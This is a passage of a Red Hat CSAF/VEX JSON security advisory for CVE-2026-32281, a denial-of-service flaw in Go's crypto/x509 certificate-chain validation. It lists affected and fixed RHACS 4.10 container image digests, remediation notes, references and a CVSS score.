"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2456333"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Go\u0027s `crypto/x509` package. A remote attacker could exploit this by presenting a specially crafted certificate chain containing a large number of policy mappings. This inefficient validation process consumes excessive resources, which can lead to a denial of service (DoS) for applications or systems performing certificate validation.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain validation",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This flaw occurs during the validation of otherwise trusted certificate chains that contain a large number of policy mappings, leading to excessive resource consumption. Exploitation requires an attacker to present a specially crafted, yet trusted, certificate chain which would require the attacker has already compromised a trusted certificate root. Red Hat continuously monitors certificate authorities and curates the set which is trusted by default for Red Hat products.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-32281"
},
{
"category": "external",
"summary": "RHBZ#2456333",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456333"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-32281",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32281"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-32281",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32281"
},
{
"category": "external",
"summary": "https://go.dev/cl/758061",
"url": "https://go.dev/cl/758061"
},
{
"category": "external",
"summary": "https://go.dev/issue/78281",
"url": "https://go.dev/issue/78281"
},
{
"category": "external",
"summary": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU",
"url": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU"
},
{
"category": "external",
"summary": "https://pkg.go.dev/vuln/GO-2026-4946",
"url": "https://pkg.go.dev/vuln/GO-2026-4946"
}
],
"release_date": "2026-04-08T01:06:58.354000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
